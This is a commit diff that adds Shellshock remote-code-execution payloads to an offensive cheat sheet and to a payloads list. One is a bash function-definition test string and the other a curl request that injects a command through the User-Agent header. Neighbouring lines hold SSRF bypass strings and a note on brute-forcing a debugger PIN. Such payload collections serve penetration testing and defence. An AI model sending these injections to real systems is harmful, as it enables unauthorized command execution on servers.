Add Shellshock bug.

cheatsheets/rce.md

@@ -8,4 +8,14 @@ Find somewhere where user input can be supplied and submit the following string
 strіng
 ```
 
-If the target is running their application in debug mode you might be able to run commands. If you are running the target locally, you can probably brute-force the debugger PIN. The debugger PIN is always in the following format: `***-***-***`.
+If the target is running their application in debug mode you might be able to run commands. If you are running the target locally, you can probably brute-force the debugger PIN. The debugger PIN is always in the following format: `***-***-***`.
+
+**Shellshock Bug**
+
+```bash
+() { :;}; echo vulnerable
+```
+
+```zsh
+curl -H "User-Agent: () { :; }; /bin/eject" http://example.com/
+```

payloads.txt

@@ -57,6 +57,10 @@ http://[::]
 
 strіng
 
+() { :;}; echo vulnerable
+
+curl -H "User-Agent: () { :; }; /bin/eject" http://example.com/
+
 /%09/google.com
 
 /%5cgoogle.com